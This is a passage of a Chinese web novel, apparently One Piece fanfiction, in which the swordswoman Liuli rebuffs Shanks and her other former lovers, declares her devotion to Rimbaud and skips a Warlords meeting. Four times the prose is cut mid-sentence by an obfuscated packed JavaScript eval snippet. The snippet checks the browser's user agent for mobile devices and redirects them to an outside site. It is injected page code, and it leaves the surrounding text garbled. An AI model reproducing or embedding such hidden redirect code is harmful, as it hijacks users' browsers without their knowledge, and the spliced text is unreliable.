简而言之,没有对手,无聊,恰好五老星又给出了满意的条件,便可有可无答应了。 幸运的是,他的确找到了一个可以培养,有潜力的对手。 鹰眼看向几年过去后面容一如既往不曾改变的女人,温和道:“希望你能快些成长,成长到可以与我一战。” 我随手将一旁试图过来的猩猩打飞,而后笑眯眯道:“这样说的话我似乎还应该叫你一声老师才对。” “免了。”鹰眼又恢复平时那副冷淡的模样,垂眼道:“别轻易死在什么杂碎手里,就是你对我最大的报答了。” 【是傲娇啊。】系统啧啧称奇,【这还是你碰上的第一个傲娇吧?连叮嘱你注意安全都说的这么别扭。】 听着系统的话,我不免笑出了声,好一会儿方才停下,上前轻轻抱了米霍克一下:“嗯嗯,我会注意安全的,米霍克老师。” 看着米霍克有些震惊的模样,我更开心了,留下一堆礼物转身便走,不给他反驳我的机会。 自那之后,我方才将生疏的称呼改为米霍克,而对方对此也并未开口反驳,只是偶尔会开口吐槽我太过自来熟。 可那又如何?总归我成功得到了对方的允许,三五不时便能前来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177650|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请教,被吐槽几句也没什么大不了的。 * 从有些遥远的回忆当中脱离后,我便收心开始按照剑谱苦练剑术。 新世界之中,除了四皇和海军外,出名的剑豪我基本都跑去与之切磋过,如今达到一种短期内难以突破的瓶颈,算是意外,也算是早有预料。 毕竟当年我跟系统试图逆天改命,从人类变成鲛人的时候,也是受了大罪吃了苦头的。 那样深入骨髓宛若将我整个人都抽筋剥皮重塑身体一般,即便现在,我试图回想,却也只剩一片空白。 大概是身体的自我保护机制之类的。 既然是瓶颈,那就不是一时半会儿能被我突破的,那我何必纠结呢?趁这个时间让自己好好休息休息难道不好吗? 敲敲打打成功开启第二职业成为工匠的我试图将红色的水晶镶嵌在屋顶,晶莹剔透的水晶不见杂志,满目的鲜红折射出的光也染上了颜色……那样的模样一定很漂亮。 借助梯子爬上屋顶后,我看着岛上由我跟系统一同打造的景色,突然笑了起来。 “真是不得了,以前别说是跳上屋顶了,就是用梯子爬上来,我也要小心翼翼的。”如今一切都不同了,我有了爱我的兰波,永远能陪伴我的系统,还有漫长的时间可以磨练自身。 美好的足以让我怀疑这是不是我的梦境。 不过就算是梦,我大概也只会选择沉醉其中,这样的梦太美好了,我的一切努力都能得到回报,我的一切喜怒哀乐都能被人切实映入眼底,我所有的犹豫退缩软弱都会被小心翼翼捧起,好像我是什么珍宝一样被珍惜着…… 让这样的美好持续的时间再久一点,大概就是我当下的期望了。 【你的露水情缘找上门了。】系统笑道:【虽然我在尝试慢慢理解人类,但我的确想不通,为什么这些家伙会认为你会选择他们。】 【因为我是最好的。】我自信道:【见过最好的,只要对自己有足够的自信,谁都不会想要退而求其次。】 【兰波呢?】系统好奇道:【你觉得兰波是怎样的?】 【无人能替代的。】 他不是最好的,对于许多人而言,兰波绝对不是什么好人,他常年游走在欧洲各国,与魏尔伦搭档探取情报,他的亚空间内满是被他与魏尔伦杀死后受他操控的人偶,他总是暗中试探我的情感我的一切,他试图将一切他所厌恶的存在推离我的交际圈…… 但无人能替代兰波,兰波不是最好的,是我眼中最好的,不是最被人喜爱的,是最适合我的。 万事万物,都比不过兰波在我心中的地位。 我,兰波,系统,在我心中我们三个的地位才是平等的,旁人都要另论。 望着远方挂着红发海贼团旗帜的船,我轻啧一声,【你说我现在跑路能不能跑走?】 【跑走不行,游走还差不多。】系统言罢,又问:【要变成鲛人跑路吗?】 【免了吧。】屈膝坐在屋顶上的女人撇撇嘴,【怎么说也是新晋四皇,如果不好好聊聊感觉之后也安生不了,虽然不确定主船直接过来是为了什么,但能和平相处还是不要搞什么三十六计走为上计之类的事比较好。】 34.独白 越靠近那岛,香克斯心情便越复杂。 最初相见,少女意气风发,走进酒馆内时困惑的模样不知道吸引了多少目光,有的欣赏,有的好奇,还有的如同自己一般试图占有。 想想,贝克曼大概也是那时起的心思。 介绍自己时彬彬有礼的模样好像是什么贵族出身,但既然并未言明,那大概就是不打算说,没关系,这很正常。 这片大海足够辽阔,无论你是贵族、奴隶、商人还是什么旁的身份,在你踏上大海的时候,旁人记住的只有你说出口的名字。 阿蒂尔.兰波?曾是海贼王罗杰船员的香克斯自认也算是见多识广,但也不曾听过这个姓氏,或许是没有留心吧?香克斯没有在意。 琉璃是易碎的,毕竟说到底也就是脆弱的玻璃,给这样的孩子取这样不吉利的名字,究竟是爱还是不爱呢? 不过这个名字并不与少女匹配,比起脆弱的琉璃,她更像是生机勃勃向上拼命生长的小树。 是的,小树,在香克斯眼里,面前对于路飞说自己要成为海贼,成为海贼王也只是条理有序分析着应该为自己的梦想如何提前准备的少女,不是脆弱的琉璃,也不是娇嫩的花朵,而是生机勃勃可以被人依靠的小树。 那时候贝克曼说什么来着,哦对,好像是随意告了一状,将路飞想要跟我们出海的事告知了她。 那时候香克斯也很好奇,少女会如何做,是训斥?安抚?转移目标? 可最后才从自己的大副口中得知,原来她竟然只是想带路飞去海中熟练水域。 不过在被贝克曼抱回来后,便一直缩在角落里好像很困惑的模样。 是啊,任谁看到面容清丽、身形纤细的少女时第一反应应该都是需要避让吧?尤其船上都是一群男人的情况下,向来都是船上最为理智的贝克曼对于看上去没什么攻击力的少女和年幼天真的孩子自然不可能放心。 不过最开始比起贵族少女和最初翩翩飞来的蝴蝶,香克斯认为自己对于琉璃更多的印象是一阵风。 她轻飘飘的走了进来,裙摆翻飞间好似带来了满室清风,带来了林中鸟鸣、冷泉、树叶拍打组成的交响曲,那风是暖的,吹在身上又是冷的,就像是路飞说的,她好像并不在意他人,只在意玛琪诺,可那份在意,也只是因为对方帮助了当时失忆又受伤的她而已,即便面上总是笑吟吟的,好似不会生气一般,但香克斯却知道,这个人的心是冷的。 那些琐碎的心思便不必说了,香克斯只记得,自己在少女离开风车村之后,还抱着对方可能还会回来的想法,在附近停留了一段时间,可无论回去几次,都没有得到消息。 她再未回去过,即便有消息,也只是几封书信与照片。 断臂离开风车村前,香克斯也曾与贝克曼抱怨过。 “说什么人家是大小姐不可能成为海贼什么的……的确是没当海贼啦,但人家明显就是即便知道咱们是大海贼也不打算投靠的意思吧?”香克斯大口喝着酒抱怨着:“真是让人失望,说什么警告我的话,最后人家压根都没将咱们放在眼里诶!” 贝克曼冷淡道:“别装傻,你应该知道我的意思。” 是啊,我知道的。 香克斯沉默着没有说话。 他怎么可能不知道呢? 一个容貌清丽颇有实力又性格温和的少女如果来到海贼船上,本就常年在海上飘荡的船员会如何,想都不必想吧。 一见钟情所以想要将人带到船上最后毁掉对方或者两败俱伤什么的,香克斯怎么也是不可能放任的。 “都在海上行走,早晚能遇见。”贝克曼十分不走心的安慰着春心萌动的船长。 香克斯嘻嘻哈哈糊弄过去,夜深时方才在摇摇晃晃的船上思索,自己究竟是一见钟情呢,还是见色起意呢。 究竟是希望得到如溪流般长久的爱还是希望得到短暂的、一时的欢愉呢? 香克斯想不通,便放下不去想。 就像贝克曼说的一样,总会遇见的,等到时候遇见了,再去细想好了。 爱情不是海贼,更不是香克斯生活当中的主旋律,海贼们不会被什么爱情困住。 在其后漫长的一段时间,香克斯都只能透过手下势力搜刮来的情报、摩根斯那总是印着夸张标题的报纸从中得知对方的行踪。 进入了新世界,短短数月便成功将名字被各方势力放在心里,而后又不知为何接受了世界政府的邀请成为了王下七武海…… 一桩桩一件件都是足以让人惊叹的事件。 一年之内,成功避开海上三皇的势力范围,在只是海贼猎人的情况下硬生生因为被海军败类找麻烦混上了通缉令,虽然金额不高,但悬赏金额有时候跟实力并不挂钩,成为被政府招安的王下七武海,转头就去挑战鹰眼然后消声觅迹。 再出现,就是四处挑战强者的消息了。 神出鬼没,前脚还在新世界,后脚就能跑到四海,如果不是摩根斯的记者遍布各地,香克斯自己也有些势力,怕是真的追寻不到半点踪迹。 是好是坏,香克斯自己也说不上来,他只知道,这片海域辽阔的让人有些无奈,好像自己怎么也见不到想见的人。 慢慢的,琉璃闯出了更广的名声,被许多人赞为品行高洁可比肩月光的存在时,香克斯还能默默赞同,但如果说琉璃不杀生是因为心善或者道德束缚什么的,香克斯就只能保持沉默了。 说不上点评,但是直觉和先前短暂的接触来看,香克斯都不认为对方会因为什么道德束缚而选择不杀。 跟前任海军大将不杀的泽法比起来,琉璃更像是因为什么呢? 因为某件事,某个人,某个承诺,但绝不是因为内心的某种束缚。 这样的念头在香克斯时隔三年再次见到琉璃时,更加明确了。 逗弄着鹦鹉的少女……或者说女人,虽然容貌未变,但瞧着却更为明艳,衣着也更为华丽,眼神一如往昔。 只是带着些疲倦,似乎是因为常年四处奔跑,这才如此。 她看向了我,是的,她看向了我,但她似乎是因为经年不见,所以对我们有了几分陌生,只是思索过后,像是又想起了我一般,邀请我入内取暖。 我当然不会拒绝,我很担心她,但我似乎没有理由开口询问。 她说那艘华丽的船是她的,想想也是,虽然一个人出门闯荡,但看穿着就知道她家里绝对是将她当成宝贝一样小心呵护着,才让她拥有了这般别样魅力。 真好啊,她一如往昔,一点都没有改变,依旧是那副模样。 贝克曼问她来冬岛为了什么,她并未隐瞒。 连蕊花,她并未受伤,那连蕊花其他的作用爷就那么几个,我认为自己的手臂没有什么继续医治的必要,所以对连蕊花兴趣不大,正说自己是为了岛上的景色,就被她吐槽。 “这岛上到处都是雪,压根没什么好看的,你们也是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当她四处挑战强者的步伐放缓后,我本以为我能多见她几面,可等到她有了情人……或者说稳定的一夜.情人选后,我能见到她的次数依旧不多。 她对于我偶尔的示好也只是全盘接下,半句不提其他……,直到她松口,告诉我她不会有任何情人,只有一夜的露水情缘时,我还信心满满。 以藏跟马尔科可以,夏洛特家那几个面容寻常的小鬼可以,甚至贝克曼都可以,为什么我不行? 可再多的信心,也在她温和又强硬的告知我她有所爱时消失的一干二净。 她有露水情缘,有情人,都很好,强者拥有这些是理所应当的,即便是我身边的同伴跟她有牵连,也没关系,因为只要接触过她,总会爱上她,这是必然的。 但爱人不可以。 我心中杀意顿起,可等到回到主船上随手灭掉一个前来挑战的新人海贼团后,从贝克曼口中得知找不到琉璃的来处,只知道对方每年都会消失一段时间,这段时间即便是海军召集也不会前去时,我方才笑了出声。 “她一直在防着所有人啊。”我看向同样沉默,却在谈论正事时抽着烟的贝克曼,平静道:“让我们的人仔细查,实在查不到,就把消息放出去。” 情人可以活,但爱人必须死。 他死了,我才有可能真正得到琉璃。 香克斯笑容爽朗:“还有德歌跟莱姆,该知道的也不能瞒着才是,毕竟大家现在都成为了连情人的名头都没混上的无用男人,也该想想怎么才能让那个无情的女人愿意侧目一二了。” 35.谈话 “稀客。”我看着几个结伴而来的露水情缘,难得有些心虚。 【下次还是要分开才好,总在一个地方找人我也会心怀不安的。】 尤其是这种露水情缘找上门的时候,一个两个还好说,人一多就好像我有什么集邮癖一样……虽然我的确有一点,但更多时候只是因为觉得对方某次举动符合眼缘,心念一动,这才开口邀请罢了,跟集邮关系不大。 【没看出来。】系统吐槽过后,落在我肩上与我一同居高临下看着几位不速之客。 高挑的女人穿着简洁利落的背心与短裤,露出肌肉线条与好似怎么也不会晒黑的皮肤。 高高在上向下俯视的模样好像是人类看着蚂蚁一样,冷淡,平静,没有半点波澜。 香克斯抬头,挥了挥手,看上去似乎并不是过来找事,态度还算友善。 “琉璃,下来好好谈谈吧。”他依旧是那副不拘小节的模样,外界也的确流传着他是脾气最好的四皇这种话,但谁信谁才是笨蛋。 我低头看向另外几个跟着香克斯上岛的家伙,皇副贝克曼、船医本乡、战斗员莱姆琼斯…… 啊,都是曾经被我送过分手礼物的关系呢。 只不过我这个人喜欢在结束一段关系之后再开启一段新的关系,所以从来都不会搞什么三人行之类的事,更多的可能是前一夜还在与对方耳鬓厮磨,次日便将人送走再附带一份分手礼物之类的。 我自认自己虽然喜欢找乐子,但也不是什么不负责任的存在,该给出的钱还是要给的。 “好大的阵仗啊。”我捧着脸轻叹道:“感觉我好像什么欺骗感情的人渣一样,骗了一家兄弟上门讨债什么的……” 见几个气势汹汹过来的家伙面带无语之色,我方才收起调侃之心。 “抱歉。”我闷笑着从屋顶跳到石板上,“开玩笑的。” “其实如果这么说倒也没错。”香克斯笑道:“毕竟在场的各位都跟琉璃你关系匪浅……虽然你好像并不这样认为。” 香克斯这直入主题的模样,让我不免有些惊讶。 “虽然知道能成为四皇即便看上去傻气实际上也不肯是什么真傻瓜,但看到你这种难得稳重正经的模样,我只感觉好像是猴子会说话一样……”我开着玩笑。 香克斯倒是不觉得有什么,几个跟过来的干部也都带着笑意,但却并未开口,只有一旁的贝克曼轻笑道:“猴子进化成人的惊悚感?” 我将客人安排到沙发上休息后便寻找茶杯开始泡茶,听了贝克曼这话不免合掌感叹:“是这样的,在这方面我果然还是跟你更合拍一些。” 跟香克斯偶尔还会有些不靠谱的模样相比,贝克曼带有一种无论什么情况都能解决难题的成熟理智,而且可能是因为是花花公子的关系,意外的很会讨女性开心……不过该分开还是没商量,但对方也是少数没有纠缠念头的家伙了。 成熟的男人就是不一样,虽然系统对此好像有些质疑,但起码人家明面上还能装一装嘛。 “靠着说我坏话搞好关系还不带我,是不是不大好啊?”香克斯哀怨道。 在自己被赶走并连情人名号都没混到之时,香克斯在短暂的愤怒后又恢复了平静,这次过来也只是为了试探,而不是为了搞什么强制爱之类的。 我将茶叶倒进紫砂壶内,头也不抬:“没什么不好的,虽然大概猜到你们过来是为了什么,但感觉你们还是不清楚我为什么选择只跟你们维持一夜.情的关系诶。” 将茶水和果汁交给木偶后,我方才轻叹道:“之前的动静很大哦,好多人都问我出自哪里了。” 你找人就找人,反正你也找不到,我就不多说什么了,但有人直接问到我头上是不是有点过分了? “嗯嗯,真是让人失望。”香克斯端着茶却不喝,只是困惑道:“明明这么多人都在寻找,几乎将四海外加新世界都翻遍了,为什么就是找不到琉璃的爱人呢?” 这个人究竟是死了,还是躲得太好,亦或者兰波这个名字只是爱称呢? “你说兰波?”我含笑询问:“你们都去找了?贝克曼也去了?” 旁人去我倒是能理解,但贝克曼竟然也会掺和尽去,倒的确让我有些惊讶。 “我也会好奇的。”贝克曼看着半点都不担心的琉璃,总觉得自己似乎忽略了什么。 其实贝克曼没什么太执着的念头,毕竟合则聚,不合则散,这没什么大不了的,海上行走,朝不保夕,这样的生活态度才能活的更轻松,但这前提是所有人都是一样的。 所有人都平等的没有名分,没有得到对方的真心,平等的被称为露水情缘,在这样的前提下被嘲笑连个情人的名头都没混上,吃软饭拿分手费,这的确没什么。 但现在显然不同。 即便是再冷静再理智的人,可在听到原来不是她冷漠无情,而是早就将一切的偏爱都给予了一人时,也会心生嫉妒的。 “是么?”我看向另外两个来了后便一言不发的,好奇道:“那你们两个呢?本乡?莱姆?” 这两个家伙不是嚷嚷着要老死不相往来么?怎么又跟过来了?跟过来就算了,还一言不发,好像我对他们做了什么过分的事一样。 贝克曼平静揭露:“大概是觉得自己被欺骗感情了吧?” “可我只付出了金钱啊。”听了贝克曼的话,我也没有半分触动,“而且你们也并不爱我,只是胜负欲在作祟吧。” 身为鼎鼎有名的大海贼被拒绝,被忽视所带来的胜负欲,因为知道自己跟旁人都比不过一个岌岌无名之人的嫉妒与不满…… 红润的唇启合间说着刺穿人心的冰冷言语:“其实这种话我也说过很多次,明明也不是什么处.男,还在这里装成什么情场新手是不是有点过分了,而且最开始我其实也说明了,我就是想找乐子,有一场露水情缘,仅此而已,并没有谈情说爱的心思……” “你们在自我感动什么呢?”我抬眼看去,见对面坐着几人均冷着脸,也并不发怵,他们是皇团,是强者,我也不差啊,难不成我是什么木头脑子只知道用剑术么?修习剑术、学习体术,不都是为了保证我能发挥出更优秀的实力、在打不过对方的情况下能变成鲛人再打上第二轮么,实在打不过再用积分跑路苟命或者耍阴招。 活着才是胜利。 “见色起意就不要做出什么情根深种的模样了,这句话对你们,也对电话虫对面的人说。”我笑吟吟警告着:“不要去尝试寻找兰波了哦,虽然我认为没人能越过我找到兰波没错,但是太过分我也会很苦恼的。” 早就发现本乡还拿着个电话虫,又确定电话虫正在运行,我自然不可能忽略掉它。 她毫不在意我、我们,她将所有人的真心踩在脚下视为泥土,却将一人小心呵护高高捧起。 香克斯的红发好像都黯淡许多,他像是死心了,没再说什么让我只觉心烦的花,却在我以为他们要离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187628|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时开口询问:“他是什么样的人?这么多人在你心里,都比不过他?” “对我而言,你只是一个普通的男孩,对你来说,我无非是只狐狸。”我并没有回答他,而是轻声吟诵起那段著名的话,“你和其他所有人没有什么不同,我和其他成千上万狐狸没有什么不同,但如果我驯服了你,你驯服了我,那我们就会彼此需要,你对我来说是独一无二的,我亦然。” “就像在一颗星球上有五千只和你一模一样的花,他们都是玫瑰,可只有我亲手栽种,收获,付出了时间与心血的,才是独一无二的。” 我轻叹道:“我爱他,不是因为他有多好,而是因为在他身边,在那些我们彼此陪伴,彼此等待之时,他与我约好傍晚归家,可我从盛午便能感受到幸福与快乐。”*① “很多人问过我他是怎样的人。”我看向香克斯,平和道:“我不知道如何描述,我也不在乎,我们驯服了彼此,所以他在我眼里是属于我的,我在他眼中也是属于他的,我们彼此唯一,在你们会纠结我爱着谁的时候,在思索如何将他找出来杀死的时候,在试图做出更多束缚我一切举动的时候,兰波在意的是我是否快乐,是否安康……” “你们所说的爱,如何跟他相比呢?” “既然如此相爱,为什么你还会寻找情人?”一直沉默无言的电话虫对面传来声音。 很耳熟,应该是夏洛特家那个舌头长长被睡过的家伙,被睡了转头就递来联姻邀请,拒绝之后把我的船毁了大半被迫重修,人品不好,但舌头很有趣,很灵活,似乎因为自身是长男的原因,很会照顾人。 “我还以为你跟我老死不相往来了呢。”调侃了几句后,我方才随意道:“因为无所谓,就像最初每个人在我提出邀请后都可有可无答应了一样,他不在意那些我永远都不会带到他面前的露水情缘,我也不是什么会因为睡了某人就自我指责的存在。” 最初我的确也因此而困惑过为什么所有人都认为我与兰波会因为这种甚至比不过我晚睡挑食的小事而询问我,可后来我方才了然。 因为他们不是兰波,我与兰波心意相通,所以无论彼此做出什么,都不会真正怨恨彼此,质疑彼此,旁人不同。 “想开点,起码你还拿到了钱嘛,在这方面我还是很大方的。”我并不在意有几个电话虫,也不在意那些电话虫对面都有谁在听。 没人会在意自己脚下沾了多少泥土与沙砾,也没有人在意自己第几次呼吸,我也不会在意这些夜间凝结清晨离去的露水情缘究竟有多少,都是谁。 站在阳台上目送香克斯一行人离去,系统在一旁吐槽:【终于把这些自以为是的家伙挤兑走了,突然有些庆幸你没有学会什么霸气了。】 【我也很庆幸。】将今天的事写进信里当成笑谈说与兰波后,我也不免感叹:【这些觉醒了霸气的家伙,感觉都很自我的样子。】 【要说自我,其实你也不差吧?】 【跟他们还是比不了的……感觉这些家伙属于就算是想要上天和太阳肩并肩,身边人也只会思考怎么才能上去而不是怒骂太无厘头的类型。】 虽然我知道我也很自我,但感觉跟这些总喜欢做些自我感动之事的家伙还是比不了的。 自以为自己足够特殊,自以为自己只需要开口就能得到一切,自以为任何人都可以被感动…… 我还是孩子的时候都不会做这种天真的梦。 天真的有些好笑。 36.请假 跟那些不知道脑子里在想些什么自认为自己是苦情男主的家伙我是说不通的,也懒得说,得了便宜还卖乖的家伙不值得同情。 “真冷酷啊。”香克斯靠在船边,望着近处暗沉又平静的海,重复道:“真冷酷啊。” 明明最开始也因为不打算对别人负责而心生愧疚,也因为利用他人而达成自己的目标而犹豫,但如今却完全没有了过往的柔软,或者说这份柔软彻底隐藏了起来。 真是让人好奇,那家伙究竟是怎样的人。 可也正是因为这样毫不留情的冷酷才会让人心生不甘吧?那翡绿色眼眸中如碧波般荡漾开的,柔软的情意,为什么只能独属一人呢? * 自香克斯之后,倒是没什么人过来打扰我,对此我倒也松了口气,不管他们是什么想法,但我总归得到了安宁。 “真好啊……”鼻尖是草木被阳光照耀着的清香,我躺在柔软的毛毯里,仰望着天空,长叹道:“来到这里之后罕见的能什么都不管,好好休息一下。” 【辛苦了辛苦了,再等几年就好,到时候我们回去好好休息一段时间……不过如果一直这样,琉璃你会崩溃吗?】 【不会啊。】我擦着手上因为剥橘子而沾染的果皮汁水,平静道:【你知道的,我对感情的定义与常人不同,他们付出了什么,我就给予什么,明明他们吝啬的只愿意口头说什么爱啊喜欢啊,做出一副情根深种好像非我不可的模样,却还想让我对他们爱的要死要活的是不是有些贪得无厌了。】 【当然了,最重要的是,我只是想尝尝没有吃到嘴里的小零食而已,为什么要因为几个已经尝过味道确定不喜欢的零食而让自己被困住呢?】 我不会因为他们所谓的情感而被牵绊住手脚,因为那情感是混杂的、虚假的,他们自认为自己付出良多,可说到底,不也是各有所求么。 有的见色起意,因为顺遂又无人反驳的人生中难得遇到坎坷所以每当回想起时才会越发不甘,越发期待如意后的满足。 有的为利而来,那钱财的光芒足以让人折腰,不在意钱财的也会为那能治愈人的珍珠而宛若野狗般一拥而上。 即便看上去再纯良的海贼,也是海贼,贪心、多疑、执着、记仇,都是海贼的特性。 人总喜欢将自己描述的更为正面,但偏偏越是这样,我越不喜欢。 他们在自以为深情对我哭诉,认为我无情的时候,我也在困惑,为什么他们不能直面自己的负面。 不过怎么想,我也觉得,往后我跟他们不会有过多联系,所以我也不会过多去干涉他们的未来。 我的未来自有兰波与我一同描绘、系统与我一同行走,旁人都只是我漫长人生中短暂停留的过客。 只有这一点,是我无比确定,且坚信的。 在这样的异世界之中,在短暂的兴奋随着时间缓缓消散后,对于我而言的,便是无尽的寂寞与迷茫。 如果,我是说如果,如果未来有一天我能够与兰波一同看见这些美景,那该多好? 只是我也知道,这样的想法只是不切实际的野望,目前,我是做不到的。 能每年回去见见兰波,看看那些我熟悉的人与景色,大概就是当前的极限了。 * 每年例行的七武海会议除了我固定会去外,剩下的人都随机出现,不过海军方对此好像也并不意外,看见我每年都老老实实如约而至好像更为意外一般……不过由于会议时间不固定,我也不是每次都会前往的。 “月光这次没来?”战国扫视一圈,看见鱼人甚平的身影倒是并不例外,鹰眼也在场有些惊讶但也没什么,但是月光这次居然没在? “啊,这次没有联系到她呢……不过鹰眼跟月光关系倒是不错,或许可以问问鹰眼?”专门负责联系月光猎人的黄猿懒散道:“不过想想,这些年月光不在都是一个理由吧。” 鹰眼平静道:“回老家探亲。” 是的,就一个理由,问就是每年就回去一次不要干涉她回家探亲。 “每次都这个理由……”战国抽了抽嘴角,“算了,反正也没什么要事。” 月光猎人琉璃在海军本部也算是难得风评不错的存在了,不是海贼,不嗜杀,不喜欢到处搞事,唯一的爱好可能就是喜欢四处挑战强者提高实力,多让人省心的存在啊! 哦,近两年可能要操心一点,近两年可能是到了年纪,对感情什么的好奇,所以有了些海军也不得不监视的情人……虽然人家没认。 战国还真没想到,有一天这种情感八卦也成了海军要仔细查探的存在。 不过总体来讲,月光也算是难得不用监视的存在了,毕竟就算定居,她也就喜欢养养花种种菜……剑豪都这个脾气么? 战国看了一眼鹰眼,简单说了两句后正要叫散,就见窗外有只眼熟的鸟正敲着窗户。 刚刚好坐在窗边的卡普将窗户打开后,那桃粉色的鹦鹉轻轻落在桌上,将爪中抓着的小竹筒放在战国面前,而后清亮的声音响起:“妈妈!回家!让我请假!” 【回家探亲,告假一次,鹦鹉放飞即可。】 卡普将竹筒拿起后随手打开,对着里面的纸条大声念了出来,而后啧啧道:“真够礼貌的,不来就不来,还特意请假,你说她当年怎么没来当海军?” 卡普口中的他——战国冷笑一声,拿过纸条扫视后将鹦鹉放飞,顾忌还有两个海贼在,倒是没做什么有损海军形象的事,只是平静道:“怎么说也是贵族出身,当赏金猎人估计都是家里骄纵了。” 习惯闲散慵懒生活的贵族如果跑来当海军,那才是恐怖故事,没跑去当海贼让人头痛就很不错了。 鹰眼拉了拉礼帽,起身离开,甚平紧随其后找了个借口便也离开了海军本部。 毕竟本身七武海会议也都是些老生常谈的事,不喜欢挑事的反而会乖乖过来,喜欢搞事的反而不会过来,前者是鹰派领头人赤犬也没什么过多恶感只认为对方虚度光阴的月光猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194790|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人琉璃,后者那就多了,什么天夜叉、沙鳄、花札等等。 所以就算是不来也没有什么大碍,更别提只是早退。 事后从米霍克口中得知此事后,我对此只一笑而过。 “战国元帅一如既往的操心呢……不过你竟然会去参加会议?”海军方怎么看我都无所谓啦,反正最后都是要被我背刺的,相比之下更让我惊讶的是米霍克居然会去参加这种无聊的会议。 身穿白色衬衫的男人在水槽边清洗着沾了脏物的盛具,面色淡淡:“顺带路过被本部将领碰到,本来以为你会去的。” 我讪笑着将刚刚挤好奶油的泡芙端到桌上,“没办法,每年我都要回去的,工作跟家人肯定还是家人更重要。” 如果让我来说,在这里就像是出差,无论再怎么样都觉得不舒服不习惯,兰波身边就像是温暖带着香气的家一样,再怎么都是让我放松的。 所以两相对比,我肯定是选回家陪兰波而不是在这里参加无聊的会议什么的。 我知道我有些偏执,我也知道我只会去看我想看到的那一面,可那又如何呢?我就是这样一个人啊。 米霍克轻笑道:“也就是你,换了个人他们大概就会说海贼就是海贼之类的……” 比起冷淡的外表,米霍克生活之中十分好说话,偶尔心情好时也会开开玩笑。 “因为我本来也不是海贼吧?”我喝着花茶,随手将桌上干枯的花枝放到一旁打算等之后扔进外面的土里,“大部分人都认为我以后一定会回去继承家产什么的。” 虽然的确会回去没错,但家产……那有什么好继承的。 “那你会回去吗?”米霍克抬头用那双锐利的眼睛盯着我,或者说,看着我。 “当然了。”我肯定道:“回去肯定是要回去的,但在外面多转一转也很不错,像是我哥哥就很支持我看看外面不同的风景,想回去了再回去……当然啦,我做什么决定他都不会反对的,如果不是我的意志坚定,早就被这种溺爱的态度惯坏了。” “从来没听你提起过家里人。”米霍克对甜品兴趣不大,倒是对一旁我拿来摆着当装饰品的红酒很感兴趣。 我将红酒打开递给他,而后笑道:“因为没什么好特意说的吧,我父母去世比较早,我对他们的印象比较模糊,跟哥哥关系因为太好,所以说起来会忍不住一直说,被人吐槽过几次后就改掉了。” “改掉了?”鹰眼找了个高脚杯,嘴上重复着。 “嗯嗯,改掉了,我觉得我改不掉夸赞我哥哥的习惯,就不喜欢跟别人提哥哥了。” 边说,我边笑道:“从源头解决了问题呢。” 解决了什么啊?这不是更严重了吗? 如果是旁人在,大概会如此吐槽,但米霍克却只是点点头表示知晓。 而后询问:“那你的爱人呢?” “你说兰波?”我微微挑眉,有些惊讶。 米霍克这家伙居然会对这件事好奇?不对劲。 37.高危 面容冷淡衣着精致的男人平静道:“红发托我打听的……不过我也有些好奇。” “果然还是之前的动静闹得太大了吗?”我轻叹道:“看来露水情缘要不得,之后还是断掉好了。” “他会发疯的。”米霍克跟香克斯也算相识多年了,自然知道那家伙的性子,如果只是冷着那家伙还能自己欺骗自己,但如果直接被踹走,估计会发疯吧? “他发疯跟我有什么关系?”我很是不解:“又不是什么谁离了谁就绝对活不下去的关系,搞得好像我玩弄了他的感情一样。” 我甚至都没有白*!【手动打码】 “可海贼不讲道理。”米霍克提醒天真的友人:“那家伙也是海贼。” “我一直都很清楚哦。”我笑眯眯道:“总之米霍克不要担心啦。” 如果日后我离开,又有谁能突破空间、时间找到我呢? “或许吧。”米霍克点到为止,没说太多,毕竟即便是友人,也需要维持合适的距离。 直到米霍克离开,我方才恍然想起,刚刚似乎直接把关于什么爱人的话题给略过了,不过米霍克应该能糊弄过去吧? * “什么叫不知道?”香克斯靠着树喝着酒,见米霍克来了本以为是带来了自己想要的情报,结果半天下来就得了一句不知道。 米霍克诧异道:“你怎么会认为我能知道?” 虽然他的确能打听出来没错,但凭什么告诉你啊? “米霍克,给我个面子,这可是我迄今为止唯一一次心动啊!”香克斯严肃道。 “你的面子在我这里没用。”米霍克冷笑道:“不要一副你被辜负了感情的样子装可怜,就算是她在这儿,也不会可怜你什么。” 干部们在一旁看笑话,即便是几个跟琉璃有关系的也毫不掩饰自己嘲笑老大的心。 